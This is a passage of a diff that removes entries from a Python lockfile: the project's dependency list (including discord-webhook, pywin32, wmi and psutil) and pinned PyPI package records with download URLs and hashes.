name = "black" }, -] - -[package.metadata] -requires-dist = [ - { name = "command-runner", specifier = ">=1.7.4" }, - { name = "cryptography", specifier = ">=45.0.3" }, - { name = "discord-webhook", specifier = ">=1.1.0" }, - { name = "httpx", specifier = ">=0.28.1" }, - { name = "humanize", specifier = ">=4.12.3" }, - { name = "loguru", specifier = ">=0.7.3" }, - { name = "observable", specifier = ">=1.0.3" }, - { name = "pillow", specifier = ">=11.0.0" }, - { name = "psutil", specifier = ">=7.0.0" }, - { name = "py-cpuinfo", specifier = ">=9.0.0" }, - { name = "pywin32", specifier = ">=310" }, - { name = "requests", specifier = ">=2.31.0" }, - { name = "setuptools", specifier = ">=80.9.0" }, - { name = "wmi", specifier = ">=1.5.1" }, -] - -[package.metadata.requires-dev] -dev = [ - { name = "autoflake" }, - { name = "autopep8" }, - { name = "black" }, -] - -[[package]] -name = "pywin32" -version = "310" -source = { registry = "https://pypi.org/simple" } -wheels = [ - { url = "https://files.pythonhosted.org/packages/1c/09/9c1b978ffc4ae53999e89c19c77ba882d9fce476729f23ef55211ea1c034/pywin32-310-cp313-cp313-win32.whl", hash = "sha256:5d241a659c496ada3253cd01cfaa779b048e90ce4b2b38cd44168ad555ce74ab", size = 8794384 }, - { url = "https://files.pythonhosted.org/packages/45/3c/b4640f740ffebadd5d34df35fecba0e1cfef8fde9f3e594df91c28ad9b50/pywin32-310-cp313-cp313-win_amd64.whl", hash = "sha256:667827eb3a90208ddbdcc9e860c81bde63a135710e21e4cb3348968e4bd5249e", size = 9503039 }, - { url = "https://files.pythonhosted.org/packages/b4/f4/f785020090fb050e7fb6d34b780f2231f302609dc964672f72bfaeb59a28/pywin32-310-cp313-cp313-win_arm64.whl", hash = "sha256:e308f831de771482b7cf692a1f308f8fca701b2d8f9dde6cc440c7da17e47b33", size = 8458152 }, -] - -[[package]] -name = "requests" -version = "2.32.3" -source = { registry = "https://pypi.org/simple" } -dependencies = [ - { name = "certifi" }, - { name = "charset-normalizer" }, - { name = "idna" }, - { name = "urllib3" }, -] -sdist = { url = "https://files.pythonhosted.org/packages/63/70/2bf7780ad2d390a8d301ad0b550f1581eadbd9a20f896afe06353c2a2913/requests-2.32.3.tar.gz", hash = "sha256:55365417734eb18255590a9ff9eb97e9e1da868d4ccd6402399eaf68af20a760", size = 131218 } -wheels = [ - { url = "https://files.pythonhosted.org/packages/f9/9b/335f9764261e915ed497fcdeb11df5dfd6f7bf257d4a6a2a686d80da4d54/requests-2.32.3-py3-none-any.whl", hash = "sha256:70761cfe03c773ceb22aa2f671b4757976145175cdfca038c02654d061d6dcc6", size = 64928 }, -] - -[[package]] -name = "setuptools" -version = "80.9.0" -source = { registry = "https://pypi.org/simple" } -sdist = { url = "https://files.pythonhosted.org/packages/18/5d/3bf57dcd21979b887f014ea83c24ae194cfcd12b9e0fda66b957c69d1fca/setuptools-80.9.0.tar.gz", hash = "sha256:f36b47402ecde768dbfafc46e8e4207b4360c654f1f3bb84475f0a28628fb19c", size = 1319958 } -wheels = [ - { url = "https://files.pythonhosted.org/packages/a3/dc/17031897dae0efacfea57dfd3a82fdd2a2aeb58e0ff71b77b87e44edc772/setuptools-80.9.0-py3-none-any.whl", hash = "sha256:062d34222ad13e0cc312a4c02d73f059e86a4acbfbdea8f8f76b28c99f306922", size = 1201486 }, -] - -[[package]] -name = "sniffio" -version = "1.3.1" -source = { registry = "https://pypi.org/simple" } -sdist = { url = "https://files.pythonhosted.org/packages/a2/87/a6771e1546d97e7e041b6ae58d80074f81b7d5121207425c964ddf5cfdbd/sniffio-1.3.1.tar.gz", hash = "sha256:f4324edc670a0f49750a81b895f35c3adb843cca46f0530f79fc1babb23789dc", size = 20372 } -wheels = [ - { url = "https://files.pythonhosted.org/packages/e9/44/75a9c9421471a6c4805dbf2356f7c181a29c1879239abab1ea2cc8f38b40/sniffio-1.3.1-py3-none-any.whl", hash = "sha256:2f6da418d1f1e0fddd844478f41680e794e6051915791a034ff65e5f100525a2", size = 10235 }, -] - -[[package]] -name = "urllib3" -version = "2.3.0" -source = { registry = "https://pypi.org/simple" } -sdist = { url = "https://files.pythonhosted.org/packages/aa/63/e53da845320b757bf29ef6a9062f5c669fe997973f966045cb019c3f4b66/urllib3-2.3.0.tar.gz", hash = "sha256:f8c5449b3cf0861679ce7e0503c7b44b5ec981bec0d1d3795a07f1ba96f0204d", size = 307268 } -wheels = [ - { url = "https://files.pythonhosted.org/packages/c8/19/4ec628951a74043532ca2cf5d97b7b14863931476d117c471e8e2b1eb39f/urllib3-2.3.0-py3-none-any.whl", hash = "sha256:1cee9ad369867bfdbbb48b7dd50374c0967a0bb7710050facf0dd6911440e3df", size = 128369 }, -] - -[[package]] -name = "win32-setctime" -version = "1.2.0" -source = { registry = "https://pypi.org/simple" } -sdist = { url = "https://files.pythonhosted.org/packages/b3/8f/705086c9d734d3b663af0e9bb3d4de6578d08f46b1b101c2442fd9aecaa2/win32_setctime-1.2.0.tar.gz", hash = "sha256:ae1fdf948f5640aae05c511ade119313fb6a30d7eabe25fef9764dca5873c4c0", size = 4867 } -wheels = [ - { url = "https://files.pythonhosted.org/packages/e1/07/c6fe3ad3e685340704d314d765b7912993bcb8dc198f0e7a89382d37974b/win32_setctime-1.2.0-py3-none-any.whl", hash = "sha256:95d644c4e708aba81dc3704a116d8cbc974d70b3bdb8be1d150e36be6e9d1390", size = 4083 }, -] - -[[package]] -name = "wmi" -version = "1.5.1" -source = { registry = "https://pypi.org/simple" } -dependencies = [ - { name = "pywin32" }, -] -sdist = { url = "https://files.pythonhosted.org/packages/d4/66/6364deb0a03415f96c66803d8c4379f808f2401da3bdb183348487b10510/WMI-1.5.1.tar.gz", hash = "sha256:b6a6be5711b1b6c8d55bda7a8befd75c48c12b770b9d227d31c1737dbf0d40a6", size = 26254 } -wheels = [ - { url = "https://files.pythonhosted.org/packages/ee/b9/a80d1ed4d115dac8e2ac08d16af046a77ab58e3d186e22395bf2add24090/WMI-1.5.1-py2.py3-none-any.whl", hash = "sha256:1d6b085e5c445141c475476000b661f60fff1aaa19f76bf82b7abb92e0ff4942", size = 28912 }, -]